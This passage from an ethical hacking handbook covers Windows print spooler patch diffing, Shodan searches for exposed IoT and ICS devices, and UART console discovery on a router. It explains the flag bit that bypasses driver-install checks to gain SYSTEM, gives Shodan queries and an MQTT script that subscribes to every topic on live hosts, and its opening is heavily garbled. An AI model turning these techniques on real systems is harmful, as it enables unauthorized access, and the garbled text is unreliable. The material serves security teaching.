a h oowing PowSh ommand and assoiad sus:
W an s a spoosv.x i om May 202, aong wih an od and an od,
whih inuds h da pah is. W wi a a spoosv od in ou C:\gayha\
Chap 8\ od and hn opy h u spoosv.x i, aong wih h od and
is onns. This wi aow us o appy h vs da pah, oowd by using h
owad da pah om h Jun 202 and Juy 202 updas o h i, using h
da_pah.py oo.
PS C:\grayhat\Chapter 18> .\delta_patch.py -i .\spoolsv\spoolsv.exe -o .\
spoolsv.2021-06.exe .\spoolsv\r\spoolsv.exe .\2021-06\x64\printing-spooler-
core_10.0.19041.1052\f\spoolsv.exe
Applied 2 patches successfully
Final hash: kXOpI3uCt6K/gNfXD/ZfCaiQl8sy8EcluGHY+vZRX5o=
PART III
In h sus w an s hangs o iv unions, h mova o ou unions
and wo impos, and h addiion o wo nw unions in h pahd vsion
o spoosv.x, as sn in h Sonday Unmahd ab. Th union nam
YRestrictDriverInstallationToAdministrators sounds ik an obvious union o
ins. L’s pom a visua di o h union RpcAddPrinterDriverEx.
Gray Hat Hacking: The Ethical Hacker’s Handbook
386
W an s a ag numb o dins bwn h vsions o h union. Whn
zooming ino h aa owads h op n, w s h oowing:
Whn ooking a ah o hs unions, w s a uniqu gisy ky bing assd,
as shown h:
Chapter 18: Next-Generation Patch Exploitation
387
Th YIsElevationRequired union hks a ky ad NoWarning-
NoElevationOnInstall, and YRestrictDriverInstallationToAdministrators hks a ky
ad RestrictDriverInstallationToAdministrators.Th un omYIsElevationRequired
is odd in r14 and h un om RestrictDriverInstallationToAdministrators is
odd in r15. L’s ak a ook a h psudood o h RpcAddPrinterDriverEx un-
ion o g a b undsanding o h ow. W a using h Hx-Rays dompi, bu
you oud aso us Ghida o anoh oo.
PART III
Lin 4 shows us ha v6 psns r14, whih wi hod h un om
YIsElevationRequired on in 2. Lin 5 shows us ha v7 psns r15, whih wi
hod h un om YRestrictDriverInstallationToAdministrators on in 22. Lin
2 ss v10 (si) i h us is an adminisao. Th ondiion in in 45 says ha i v6
is s (vaion quid) and not v10 (no an adminisao), hn w and vaiab a3
wih 0x8000, whih is 1000000000000000 in binay. This unss a ag in h 5h bi
posiion o a3 (di) o a 0. Th ondiion in in 48 hn says i v7 is no s (insaaion
no sid o adminisaos) or v10 is s (is an adminisao), a h union
YAddPrinterDriverEx, passing a3 (us-onoab ags) as on o h agumns.
Gray Hat Hacking: The Ethical Hacker’s Handbook
388
I you a, h imag om Mioso o h high-v pin povid ompo-
nns shows an RPC a o h mo spoosv.x poss. In un, xuion hn gos
hough oasp.d pio o going ino Kn mod o ommuniaion wih h aua
pin. Whn ooking a h Expo Addss Tab (EAT) o oasp.d, w an s h
union SplAddPrinterDriverEx. I has bn dompid, as shown h:
Tak a ook a ins 28–33. Vaiab a4 is h sam as vaiab a3 om h
pio psudood dump wih RpcAddPrinterDriverEx, onaining ags. W
an ono his vau, whih in h unpahd vsion o spoosv.x aks h
hks o h assoiad gisy kys (NoWarningNoElevationOnInstall and
RestrictDriverInstallationToAdministrators). W an ivy bypass h a o
ValidateObjectAccess and go saigh o InternalAddPrinterDriverEx. Lin 28 ss
v12 o 0. Lin 29 says i h 5h bi posiion in a4 is no s, hn s v12 o qua ha
o a7, whih iky hangs h vau o v12 om bing a 0. In in 3, i v12 is s (no
zo), hn a ValidateObjectAccess and hk o s i h sedebugprivilege igh is
s. I w an mak i so h 5h bi posiion in a4 is on, hn in in 29 w wi no go
ino h bok and insad a InternalAddPrinterDriverEx. This ivy aows an
aak o bypass h hk and insa a div, aowing o od xuion as h us
NT AUTHORITY\SYSTEM. Th w addiiona indings and ixs si ouing a
h im o his wiing; howv, his is on o h pimay xpoiab bugs.
Summary
This hap inodud binay diing and h vaious oos avaiab o hp spd up
you anaysis. W ookd a a simp appiaion poo-o-onp xamp, and hn w
ookd a a a-wod pah o oa h od hangs, vaida ou assumpions, and
Chapter 18: Next-Generation Patch Exploitation
389
viy h ix. This is an aquid ski ha is in osy wih you xpin dbugging
and ading disassmbd od. Th mo you do i, h b you wi b a idniying
od hangs and ponia pahd vunabiiis. I is somims asi o sa wih
ai vsions o buids o Windows, as w as a 32-bi vsion insad o 4-bi vsion,
as h disassmby is on asi o ad. Many bugs span a ag numb o vsions o
Windows. I is no unhad o o Mioso o aso snak in sin od hangs wih
anoh pah. This somims dis bwn vsions o Windows, wh diing on
vsion o Windows may yid mo inomaion han diing anoh vsion.
PART III
PatchExtract gis.gihub.om/wumb0/3097d83753b99850b4b5
delta_patch gis.gihub.om/wumb0/9542493959537a02d3998d2553
“Feedback-Driven Binary Code Diversification” (Bart Coppens, Bjorn De Sutter, and
Jonas Maebe) uss.is.ugn.b/~bdsu/sah/pubiaions/203TACOoppns
.pd
“Fight against 1-day exploits: Diffing Binaries vs. Anti-Diffing Binaries” (Jeong Wook
Oh) www.bakha.om/psnaions/bh-usa-09/OH/BHUSA09-Oh-DiingBinais-
PAPER.pd
patchdiff2 (Nicolas Pouvesle) od.goog.om/p/pahdi2/
Back2TheFuture gihub.om/SaBah-Labs/Bak2ThFuu
BLUEHEXAGON threat advisory buhxagon.ai/bog/ha-advisoy-v-202-75-
aka-pinnighma/
References
1. Zynamis, BinDiff Manual, 207, hps://www.zynamis.om/bindi/manua/.
2. Jaim Ondusk a. “Windows Updas Using Fowad and Rvs Dinias,”
Microsoft 365, Mioso, 2020, hps://dos.mioso.om/n-us/windows/
dpoymn/upda/psxwhipap.
3. Jaim Gig. “Exaing and Diing Windows Pahs in 2020.” wumb0in Full
Atom, 2020, hps://wumb0.in/xaing-and-diing-ms-pahs-in-2020.hm.
4. Mioso. “Us200702053a: In-Da Dpndn Conains o Conn
Divy.” Google Patents, Goog, 200, hps://pans.goog.om/pan/
US200702053.
5. Bay Godn and Amy Viviano. “Loa Pin Povid.” Microsoft Docs,
Mioso, 207, hps://dos.mioso.om/n-us/windows-hadwa/
divs/pin/oa-pin-povid.
This page intentionally left blank
PART IV
Hacking IoT
19
In this chapter, we cover the following topics:
• Internet of Things (IoT)
• Shodan IoT search engine
• IoT worms: It was a matter of time
This chapter covers the topic of Internet-connected devices, called the Internet of Things
(IoT). The phrase “Internet of Things” was first coined in a 1999 presentation at MIT
by Kevin Ashton.1 In 2008, the number of connected devices surpassed the number of
humans on the planet at 8 billion,2 so the security of these devices is becoming increas-
ingly important. The pace at which IoT devices are connected is staggering. Cisco
expects the number of IoT devices to exceed 14 billion by 2023.3 Think about that for
a moment: that is almost two connected devices for each human on the planet by 2023.
With connected devices controlling an increasing amount of our lives and even acting
on our behalf, it is crucial to understand the security risks these devices impose on their
unsuspecting users, if misconfigured, poorly designed, or just connected to the Internet
with default credentials.
393
Gray Hat Hacking: The Ethical Hacker’s Handbook
394
Types of Connected Things
There are various types of connected things: some are of large form factors, such as
robotic machines in factories, and others are very small, such as implanted medical
devices. The smaller devices suffer from limitations that affect security, such as limited
memory, processing capacity, and power requirements. Power sources include batteries,
solar, radio frequency (RF), and networks.6 The scarcity of power, particularly in remote
small devices, is a direct threat to security controls such as encryption, which might be
deemed too expensive, power-wise, and therefore be left out of the design altogether.
The list of connected things is too long to provide here, but to get you thinking of the
various potential security issues, the following short list is provided:7
• Smart things Smart homes, appliances, offices, buildings, cities, grids, and so on
• Wearable items Devices for the monitoring of movement, such as fitness
and biomedical wearables (for example, smart devices with touch payment and
health-monitoring options)
• Transportation and logistics RFID toll sensors, tracking of shipments, and
cold chain validation for produce and medical fluids (such as blood and medicine)
• Automotive Manufacturing, sensors on cars, telemetry, and autonomous driving
• Manufacturing RFID supply chain tracking, robotic assembly, and part
authenticity
• Medical and healthcare Health tracking, monitoring, and delivery of drugs
• Aviation RFID part tracking (authenticity), UAV control, and package delivery
• Telecommunications Connecting smart devices with GSM, NFC, GPS,
and Bluetooth
• Independent living Telemedicine, emergency response, and geo-fencing
• Agriculture and breeding Livestock management, veterinarian health tracking,
food supply tracking and cold chaining, and crop rotation and soil sensors
• Energy industry Power generation, storage, delivery, management, and payment
Wireless Protocols
Most connected devices have some form of wireless communication. The wireless proto-
cols are described in the following sections.
Cellular
Cellular networks, including GSM, GPRS, 3G, 4G, and 5G, are used for long-range
communications.8 This form of communication is helpful when great distances exist
between nodes, such as connected buildings, automobiles, and smartphones. At the time
of this writing, this form of communication remains the most secure of the alternatives
and is difficult to attack directly, but it may be jammed.
Chapter 19: Internet of Things to Be Hacked
395
Wi-Fi
The venerable IEEE 802.11 protocol has been in place for decades and is well known
and understood. Of course, there are many security issues with Wi-Fi that are also well
known. This form of communication has become the de facto standard for mid-range
communications of connected devices.9
Zigbee
The IEEE 802.15.4 protocol is a popular standard for short-to-medium-range com-
munications, normally up to 10 meters and in some conditions up to 100 meters. The
protocol is very useful in applications with low power requirements. The protocol allows
for a mesh network, enabling intermediate nodes to relay messages to distant nodes.10
Zigbee operates in the 2.4 GHz range, which competes with Wi-Fi and Bluetooth.
Z-Wave
The Z-Wave protocol is also a popular standard used in the short-to-medium range, but
it also offers a longer range due to the lower frequency (908.42 MHz in the US). Due
to the separate frequency range, it does not compete with other common radios such as
Wi-Fi and Bluetooth and experiences less interference.
Bluetooth (LE)
PART IV
The ubiquitous Bluetooth protocol has undergone a facelift of late and has been reborn
as Bluetooth Low Energy (LE), emerging as a viable alternative.11 Although it is back-
ward compatible with Bluetooth, the protocol is considered “smart” due to its ability to
save power.12 As with Zigbee and Z-Wave, Bluetooth and Bluetooth LE cannot commu-
nicate directly with the Internet; they must be relayed through a gateway device, such as
a smartphone or smart bridge/controller.
6LoWPAN
The Internet Protocol version 6 (IPv6) over Low-power Wireless Personal Area Networks
(6LoWPAN) is emerging as a valuable method to deliver IPv6 packets over 802.15.4
(Zigbee) networks. Because it can ride over Zigbee and other forms of physical networks,
it competes with Zigbee, but some would say it completes Zigbee because it allows for
connection with other IP-connected devices.13
Communication Protocols
IoT has several communication protocols—far too many to list—but here are a few of
the commonly used ones:14
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
398
On a more serious note, with a little more searching, using the search string “authen-
tication disabled” and filtering on screenshot.label:ics, you’ll receive more interesting
results (notice the “Stop” buttons).
Chapter 19: Internet of Things to Be Hacked
399
If you’re interested in industrial control systems (ICS) and are looking for devices
running some common ICS services, but not running other types of common services,
you can use the search string “port:502,102,20000,1911,4911,47808,448,18,18245,1
8246,5094,1962,5006,5007,9600,789,2455,2404,20547 country:US -ssh -http -html
-ident,” which yields the view shown in Figure 19-1.
From this view, we can tell there are 672,501 potential ICS hosts running the ICS ser-
vices but not HTTP, HTML, SSH, and IDENT (which are common services). Further,
we can tell the most common cities, top services, and top organizations hosting these ICS
services. Of course, we would need to do further filtering and rule out honeypots—but
more on that later.
PART IV
Figure 19-1 Common ICS Services
Gray Hat Hacking: The Ethical Hacker’s Handbook
400
Shodan can be used to refine the search results and get stats with Facets, which allow
the user to drill down into more stats related to the search. For example, by clicking
“More…” under “Top Ports” on the left-hand pane shown in Figure 19-1, you will be
presented with the following view with a list of products and the count of each. Further
drilling can be done by changing the Facet in the drop-down.
NOTE The labs in this chapter were performed on Kali Linux 2021.1 (64 bit)
but should work on other versions of Linux. Also, an API key is required from
Shodan, which you can get for free by registering an account there.
In this lab, we will explore the Shodan command line. Current versions of Kali have the
Shodan CLI installed; simply initialize it with your API key as follows:
% shodan init <YOUR API KEY>
Successfully initialized
Chapter 19: Internet of Things to Be Hacked
401
Next, test for credits available in your account:
% shodan info
Query credits available: 100
Scan credits available: 100
Finally, run a scan to find VNC services (RFB), showing IP, port, org, and hostnames:
% shodan search --fields ip_str,port,org,hostnames RFB > results.txt
% wc -l results.txt
101 results.txt
% head -3 results.txt
186.10.40.11 8334 ENTEL CHILE S.A. z210.entelchile.net
68.51.127.103 5901 Comcast Cable Communications, Inc. c-68-51-127-103.
hsd1.in.comcast.net
169.229.136.161 5900 University of California at Berkeley tol2mac5.soe.
berkeley.edu
One feature of the command-line tool is the ability to check the honeyscore—a score
that tests whether a site is a honeypot using heuristics developed by Shodan:
% shodan honeyscore 54.187.148.155
Not a honeypot
Score: 0.5
% shodan honeyscore 52.24.188.77
PART IV
Honeypot detected
Score: 1.0
Shodan API
Others may prefer a Python interface to the Shodan data, and, of course, you can use
that too. The Shodan Python library comes with the Shodan command-line tools, but
the library may be installed separately, as well, using pip.
Gray Hat Hacking: The Ethical Hacker’s Handbook
402
In this lab, we test out the Shodan API. You need an API key; a free one will do for this
test case because we are not using any filters. After installing the CLI, we will build a
Python script to search for MQTT services that include the word alarm in the banner
and are located in the US. This code and all code in this chapter can be found on the
book’s download site and GitHub repository.
❶% sudo apt install python3-venv
<truncated>
➋% python3 -m venv lab-19 && source ./lab-19/bin/activate
➌% pip install wheel
Collecting wheel
Using cached wheel-0.36.2-py2.py3-none-any.whl (35 kB)
Installing collected packages: wheel
Successfully installed wheel-0.36.2
➍% pip install shodan
Collecting shodan
Downloading shodan-1.25.0.tar.gz (51 kB)
|████████████████████████████████| 51 kB 389 kB/s <truncated>
In order to play with new Python libraries without corrupting the system Python
library, it can be helpful to install the Virtual Environment for Python ➊. Install a new
Virtual Environment and activate it ➋. In order to reduce complaints about wheel
not being installed when we’re installing modules, we install wheel ➌. At this point,
we can install any modules required for the lab without contaminating our system
environment—for example, the shodan module ➍.
% cat mqtt-search.py
import shodan
def shodan_search():
SHODAN_API_KEY = "YOUR API KEY"
SEARCH = "mqtt alarm country:US"
api = shodan.Shodan(SHODAN_API_KEY)
try:
results = api.search(SEARCH)
with open("mqtt-results.txt", "w") as f:
for result in results['matches']:
searching = result['ip_str']
f.write(searching + '\n')
except shodan.APIError as e:
pass
shodan_search()
In the previous lab, the search string “mqtt alarm” was supplied to Shodan to identify
IP addresses running MQTT with an alarm listening. In this lab, we scan one of the
resulting IPs for additional information. The following code was adapted from an
example by Victor Pasknel.16
% pip install paho-mqtt
Collecting paho-mqtt
Using cached paho-mqtt-1.5.1.tar.gz (101 kB)
Building wheels for collected packages: paho-mqtt
Building wheel for paho-mqtt (setup.py) ... done
Created wheel for paho-mqtt: filename=paho_mqtt-1.5.1-py3-none-any.whl
size=61546 sha256=11308bd024a1b7d8ac47fba699d135d81854d2aba6283d9088ae4fe3f78
66ff7
Stored in directory: /home/kali/.cache/pip/wheels/22/b9/0f/9a1f64674f849b8a
e88620232f2023f0ff2a50a4479b8a32ed
Successfully built paho-mqtt
Installing collected packages: paho-mqtt
Successfully installed paho-mqtt-1.5.1
% cat mqtt-scan.py
import paho.mqtt.client as mqtt
PART IV
❶def on_connect(client, userdata, flags, rc):
print("[+] Connection successful")
client.subscribe('#', qos = 1) # Subscribes to all topics
This Python program is simple: after loading the mqtt.client library, the program
defines a callback for both the initial connection ➊ (print the connection message
and subscribe to all topics on the server) and when a message is received ➋ (print the
message). Next, the client is initialized ➌ and the callbacks are registered ➍ ➎. Finally,
the client is connected ➏ (be sure to change the masked IP on this line) and sent into
a loop ➐.
Here’s our fake system example (given for illustrative purposes only), again adapted
from the example given by Victor Pasknel:18
% cat mqtt-alarm.py
import paho.mqtt.client as mqtt
PART IV
Internet, they will be found.
Prevention
Now that you have seen the implications of open systems with no authentication on the
Internet, here is some practical advice: hack yourself! Seriously, Shodan has many free
searches, so why not take advantage of that service—before someone else does? Conduct
a search of your home IP address, using www.whatismyip.com or a similar service, as
well as the IP addresses of your family members, business, or anyone you know. Another
valuable resource you should know about is the Internet of Things Scanner by BullGuard
(see the “For Further Reading” section). It allows you to scan your home and see whether
or not you are in Shodan.
Summary
In this chapter, we discussed the increasing array of Internet-connected things that
comprise the IoT and discussed the network protocols they use. Next, we explored the
Shodan search engine, which specializes in finding IoT devices. Finally, we discussed
what was bound to happen: the advent of IoT worms. After reading this chapter, you
should be better prepared to identify, protect, and defend your things and those of your
friends, family, and clients.
Gray Hat Hacking: The Ethical Hacker’s Handbook
406
For Further Reading
“Distinguishing Internet-Facing Devices Using PLC Programming Information”
www.hsdl.org/?abstract&did=757013
Internet of Things Scanner by BullGuard iotscanner.bullguard.com/
NIST Special Publication 800-82, Revision 2, “Guide to Industrial Control Systems
(ICS) Security” nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
“Quantitatively Assessing and Visualising Industrial System Attack Surfaces” www
.cl.cam.ac.uk/~fms27/papers/2011-Leverett-industrial.pdf
References
1. X. Xu, “Internet of Things in Service Innovation,” The Amfiteatru Economic Journal,
4(6, November 2012): 698–719.
2. M. Swan, “Sensor Mania! The Internet of Things, Wearable Computing, Objective
Metrics, and the Quantified Self 2.0,” Journal of Sensor and Actuator Networks,
1(3, November 8, 2012): 217–253.
3. Patrick Grossetete, “IoT and the Network: What is the future?,” Cisco, June 2020,
https://blogs.cisco.com/networking/iot-and-the-network-what-is-the-future
4. The Economist, “The Internet of Things (to Be Hacked),” July 12, 2014, https://
www.economist.com/news/leaders/21606829-hooking-up-gadgets-web-promises-
huge-benefits-security-must-not-be
5. Harper, “The Impact of Consumer Security Awareness on Adopting the Internet
of Things: A Correlational Study,” Dissertation, Capella University, 2016, https://
www.proquest.com/docview/1853097232/104B999B1316421EPQ/1
6. D. Bandyopadhyay, J. Sen, “Internet of Things: Applications and Challenges
in Technology and Standardization,” Wireless Personal Communications,
58(1, May 2011): 49–69.
7. Harper, “The Impact of Consumer Security Awareness on Adopting the Internet
of Things.”
8. Z. Chen, F. Xia, T. Huang, F. Bu, and H. Wang, “A Localization Method for the
Internet of Things,” The Journal of Supercomputing, 63(3, March 2013): 657–674.
9. H. Jayakumar, K. Lee, W. Lee, A. Raha, Y. Kim, and V. Raghunathan, “Powering
the Internet of Things,” in Proceedings of the 2014 International Symposium
on Low Power Electronics and Design, ACM, 2014, 375–380, http://doi.acm
.org/10.1145/2627369.2631644.
10. “Zigbee,” Wikipedia, 2017, https://en.wikipedia.org/w/index.php?title=Zigbee&
oldid=809655996.
Chapter 19: Internet of Things to Be Hacked
407
11. Harper, “The Impact of Consumer Security Awareness on Adopting the Internet
of Things.”
12. H. Jayakumar, et al., “Powering the Internet of Things.”
13. J. Sarto, “Zigbee vs. 6LoWPAN for sensor networks,” LSR, https://www
.lairdconnect.com/resources/white-papers/zigbee-vs-6lowpan-for-sensor-networks.
14. S. Schneider, “Understanding the Protocols Behind the Internet of Things,”
Electronic Design, October 9, 2013, www.electronicdesign.com/iot/understanding-
protocols-behind-internet-things.
15. J. Matherly, Complete Guide to Shodan: Collect. Analyze. Visualize. Make Internet
Intelligence Work for You, Lean Publishing, 2017.
16. V. Pasknel, “Hacking the IoT with MQTT,” Morphus Labs, July 19, 2017,
https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b.
17. Pasknel, “Hacking the IoT with MQTT.”
18. Pasknel, “Hacking the IoT with MQTT.”
19. “Mirai (malware),” Wikipedia, 2017, https://en.wikipedia.org/w/index
.php?title=Mirai_(malware)&oldid=807940975.
20. S. M. Kerner, “DDoS Attacks Heading Toward 1-Terabit Record,” eWEEK,
PART IV
September 25, 2016, www.eweek.com/security/ddos-attacks-heading-toward-1-
terabit-record.
21. “Mirai (malware),” Wikipedia.
22. Kerner, “DDoS Attacks Heading Toward 1-Terabit Record.”
23. B. Krebs, “New Mirai Worm Knocks 900K Germans Offline,” Krebs on Security,
November 16, 2016, https://krebsonsecurity.com/2016/11/new-mirai-worm-
knocks-900k-germans-offline/.
24. M. Mimoso, “Mirai Bots More Than Double Since Source Code Release,”
October 19, 2016, https://threatpost.com/mirai-bots-more-than-double-since-
source-code-release/121368/.
25. Lindsey O’Donnell, “Latest Mirai Variant Targets SonicWall, D-Link and IoT
Devices” March 16, 2021, https://threatpost.com/mirai-variant-sonicwall-d-link-
iot/164811/
26. T. Fox-Brewster, “A Massive Number of IoT Cameras Are Hackable—And Now the
Next Web Crisis Looms,” Forbes, October 23, 2017, https://www.forbes.com/sites/
thomasbrewster/2017/10/23/reaper-botnet-hacking-iot-cctv-iot-cctv-cameras/.
This page intentionally left blank
Dissecting
Embedded Devices
CHAPTER
20
In this chapter, we cover the following topics:
• CPU
• Serial interfaces
• Debug interfaces
• Software
This chapter provides a high-level view of embedded devices with the intention of pro-
viding a vocabulary for and high-level understanding of potential areas of concern.
Embedded devices are electrical or electro-mechanical devices that meet a specific
need or have a limited function. A few examples of embedded devices include security
systems, network routers/switches, cameras, garage door openers, smart thermostats,
controllable light bulbs, and mobile phones. As our devices gain remote connectivity for
our convenience, they also provide more opportunity for an attacker to enter our lives
through our networks.
Much of the discussion in this chapter revolves around integrated circuits (ICs). An
IC is a collection of electrical components within a small package, often referred to as a
chip. A simple example is the quad 2-input OR1 gate IC, where four 2-input OR circuits
are implemented inside a single chip. In our case, the ICs will be much more complex
and contain the entire multiple-computing elements inside a single IC. Also, note that
this chapter assumes you are familiar with a multimeter and the basic concepts of electri-
cal circuits, such as voltage, current, resistance, and ground.
CPU
Unlike the desktop systems that most people are familiar with, the embedded world uses
many different processing architectures based on embedded functionality, required com-
plexity of the system, price, power consumption, performance, and other considerations.
Because embedded systems generally have much more defined functionality, they tend to
lend themselves to more quantifiable performance requirements. As a result, a blend of
software and hardware requirements are used to determine the appropriate microproces-
sor, microcontroller, or system on chip (SoC).
409
Gray Hat Hacking: The Ethical Hacker’s Handbook
410
Microprocessor
Microprocessors do not include memory or program storage internal to the chip. Micro-
processor-based designs can utilize a large amount of memory and storage and can run
sophisticated operating systems such as Linux. The common PC is an example of a
device utilizing a microprocessor-based design.
Microcontrollers
Common within the embedded world is the microcontroller. The microcontroller gener-
ally has a CPU core (or cores), memory, storage, and I/O ports, all within a single chip.
The microcontroller is well suited to highly embedded designs that perform simple or
well-defined lower-performance applications. Due to the simplicity of the applications
and hardware, the software on the microcontroller is typically written in a lower language
such as assembly or C and does not include an operating system (OS). Applications for
a microcontroller include an electronic door lock and a TV remote.
Depending on the specific microcontroller, protections may be implemented in hard-
ware to help secure the applications. Examples are read protections for the program
storage and disabling the on-chip debugging interface from becoming active. Although
these measures provide a layer of protection, there are no guarantees that the protections
cannot be bypassed.
System on Chip
The System on Chip (SoC) is one or more microprocessor cores or microcontrollers with
a wide variety of integrated hardware features within a single integrated circuit (IC). For
example, the SoC for a phone may contain a graphics processing unit (GPU), sound pro-
cessor, memory management unit (MMU), cellular, and network controller. The main
benefit of the SoC is reduced cost due to fewer chips and smaller-size applications, which
are typically used in a more custom fashion. Whereas a microcontroller stores the pro-
gram internally and provides limited memory, the SoC typically utilizes external storage
and memory.
MIPS, last owned by Wave Computing, which recently came out of bankruptcy, is no
longer being developed in favor of RISC-V; however, license agreements signed prior to
restructuring appear to be valid.3 MIPS has been licensed to several manufacturers, such
as Broadcom, Cavium, and others. Like ARM, MIPS has 32- and 64-bit variants and can
PART IV
be run in either big- or little-endian mode. It is commonly found in networking devices
such as wireless access points and small home routers.
Serial Interfaces
A serial interface communicates with a peer one bit at a time, serially, over a communica-
tion channel. Being that only one bit is being transmitted at a time, fewer pins are required
on an IC. In contrast, parallel interface communications transmit multiple bits at a time
and require more pins (one pin per bit). Several serial protocols are used in embedded sys-
tems, but we will only discuss the Universal Asynchronous Receiver-Transmitter (UART),
Serial Peripheral Interface (SPI), and Inter-Integrated-Circuit (I2C) protocols.
UART
The Universal Asynchronous Receiver-Transmitter protocol allows two devices to com-
municate serially over a communications channel. UART is commonly used for connect-
ing to a console to allow a human to interact with the device. Although most devices will
not have an externally available interface for communicating serially, many will have an
internal interface that was used during device development and testing. While perform-
ing device testing, I have found both authenticated and unauthenticated consoles on
internally accessible serial interfaces.
UART requires three pins to communicate and usually comes in a gang of four pins
(see Figure 20-1). You may see labels on the board, but generally these pads or headers
are not labeled and need to be discovered. Although Figure 20-1 shows a nice example
where the headers stand out as candidates for serial communications, the layout of
the pins might not always be as straightforward and could be mingled within a larger
number of pins.
Gray Hat Hacking: The Ethical Hacker’s Handbook
412
Figure 20-1
Unlabeled
gang of four
serial ports on a
Ubiquiti ER-X
The main reason for locating and connecting to the internal serial ports is to attempt
to locate information that was not intended to be accessible to the user of the system.
For example, the web interface does not generally yield access to the file system directly,
but the serial console on a Linux-based system will give the user access to the file system.
When the serial port is authenticated, you will have to brute-force the credentials or
attempt to bypass the authentication by altering the boot process (potentially by using a
JTAG debug port).
To discover the serial pads, a tool such as JTAGulator, developed by Joe Grand, can
be used to brute-force signals and yield the pad layout and baud rate. The following is
an example of running the UART identification test against the Ubiquiti ER-X shown
in Figure 20-1, where the labeled pins were identified using JTAGulator. Here are the
steps involved:
1. Locate the headers or pads you believe could be UART by inspecting the board.
(Seeing two to four pads/pins grouped together on the board is a good sign, but as
mentioned earlier, they can be intermingled within other functional pads/pins.)
2. Discover the target voltage by probing the board with a multimeter or identifying
an IC and looking up the datasheet.
3. Discover a ground that is easy to connect to by measuring resistance (ohms)
between a known ground (such as the chassis ground) and pins that are easy to
connect to (effectively 0 ohms between the known ground and the pin in question).
4. Connect the board to your JTAGulator if you are fortunate enough to find
headers, or solder a header to the board and then connect (see Figure 20-2).
Chapter 20: Dissecting Embedded Devices
413
Figure 20-2
Connection
between
JTAGulator and
Ubiquiti ER-X
PART IV
5. Verify the version of JTAGulator firmware ❶. The version can be checked against
the code on the repository at https://github.com/grandideastudio/jtagulator/
releases. If the version is not the latest, follow the directions at www.youtube.com/
watch?v=xlXwy-weG1M.
6. Enable UART mode ❷ and set the target voltage ❸.
7. Run the UART identification test ❹.
8. On success, look for reasonable responses such as carriage returns, line feeds, or
readable text ❺ (l-timers(q) sync).
9. Verify the identified settings by running in pass-thru mode ❻ with the baud rate
candidate ❼ (57600 in our case).
< … Omitted ASCII ART …>
Welcome to JTAGulator. Press 'H' for available commands.
Warning: Use of this tool may affect target system behavior!
> h
Target Interfaces:
J JTAG
U UART
G GPIO
S SWD
General Commands:
V Set target I/O voltage
I Display version information
H Display available commands
➊> i
JTAGulator FW 1.11
Designed by Joe Grand, Grand Idea Studio, Inc.
Main: jtagulator.com
Gray Hat Hacking: The Ethical Hacker’s Handbook
414
Source: github.com/grandideastudio/jtagulator
Support: www.parallax.com/support
➋> u
➌UART> v
Current target I/O voltage: Undefined
Enter new target I/O voltage (1.2 - 3.3, 0 for off): 3.3
New target I/O voltage set: 3.3
Ensure VADJ is NOT connected to target!
➍UART> u
UART pin naming is from the target's perspective.
Enter text string to output (prefix with \x for hex) [CR]:
Enter starting channel [0]:
Enter ending channel [1]: 1
Are any pins already known? [y/N]: N
Possible permutations: 2
Enter text string to output (prefix with \x for hex) [CR]:
Enter delay before checking for target response (in ms, 0 - 1000) [10]: 0
Ignore non-printable characters? [y/N]: N
Bring channels LOW before each permutation? [y/N]: N
Press spacebar to begin (any other key to abort)...
JTAGulating! Press any key to abort...
TXD: 0
RXD: 1
Baud: 9600
Data: h.XZ...c)...H.oB [ 68 FC 58 5A E5 9E C9 63 29 DD 0A DC 48 84 6F 42 ]
TXD: 0
RXD: 1
Baud: 14400
Data: ..^V....{......c [ C3 10 5E 56 FA E7 0E DB 7B CB BA C3 1B EF 89 63 ]
TXD: 0
RXD: 1
Baud: 19200
Data: ...N.....9._#.(. [ E4 19 80 4E 19 95 1D D8 1F 39 80 5F 23 C6 28 94 ]
TXD: 0
RXD: 1
Baud: 28800
Data: .L..gg..N...1..Y [ 1D 4C 0C 13 67 67 AD B9 4E 0C 0C 9F 31 D6 BD 59 ]
TXD: 0
RXD: 1
Baud: 31250
Data: ..?C.$...~0..3.. [ B3 13 3F 43 BD 24 B3 13 E3 7E 30 03 BD 33 B4 C3 ]
TXD: 0
RXD: 1
Baud: 38400
Data: .K..y...)A#.C(.r [ DE 4B F5 CB 79 D0 0B C4 29 41 23 2E 43 28 C3 72 ]
TXD: 0
RXD: 1
Baud: 57600
➎Data: l-timers(q) sync [ 6C 2D 74 69 6D 65 72 73 28 71 29 20 73 79 6E 63 ]
TXD: 0
RXD: 1
Baud: 76800
Data: . [ 0C ]
--
UART scan complete.
Chapter 20: Dissecting Embedded Devices
415
➏UART> p
Note: UART pin naming is from the target's perspective.
Enter X to disable either pin, if desired.
Enter TXD pin [0]:
Enter RXD pin [1]:
➐Enter baud rate [0]: 57600
Enable local echo? [y/N]: y
Entering UART passthrough! Press Ctrl-X to exit...
If the test is successful, you should be able to interact with the serial console now.
Resetting the device with the serial console connected is typically very revealing. The text
is too long to include here, so I’ve provide snippets from the boot messages:
PART IV
1: Load system code to SDRAM via TFTP.
2: Load system code then write to Flash via TFTP.
3: Boot system code via Flash (default).
4: Enter boot command line interface.
7: Load Boot Loader code then write to Flash via Serial.
9: Load Boot Loader code then write to Flash via TFTP.
default: 3
Once the layout is determined, you can use a tool such as Bus Pirate to connect to the
pads and communicate with the embedded system. The main thing to remember is to
connect the TX on the device to the RX of your Bus Pirate and to connect the RX on the
device to the TX of your Bus Pirate.
As with the JTAG interface, some may discount the severity of having enabled serial
ports on a device. However, with console access, an attacker can extract the configuration
and binaries, install tools, and look for global secrets that facilitate remote attacks against
all devices of this type.
Gray Hat Hacking: The Ethical Hacker’s Handbook
416
SPI
Serial Peripheral Interface (SPI) is a full-duplex synchronous serial interface that is popu-
lar in embedded systems. Unlike UART, SPI was designed to allow communications
between two or more devices. SPI is a short-distance protocol that is used for commu-
nications between ICs within an embedded system. The protocol uses a master/slave
architecture and supports multiple slaves.4 In its simplest form, SPI requires four pins to
communicate, which puts it on par with the UART example but with faster communica-
tions (at the cost of distance). It is important to note that SPI is not standardized,5 and
the datasheets will need to be consulted to determine the exact behavior of each device.
The four pins are as follows:
SPI
SCK
MOSI Slave 3
MISO
CS
Chapter 20: Dissecting Embedded Devices
417
Figure 20-4 SCK SCK SPI
SPI in a SPI MOSI MOSI Slave 1
Master MISO MISO
three-chip SS SS
configuration
using a daisy
SCK SPI
chain MOSI Slave 2
MISO
SS
SCK SPI
MOSI Slave 3
MISO
SS
I2C
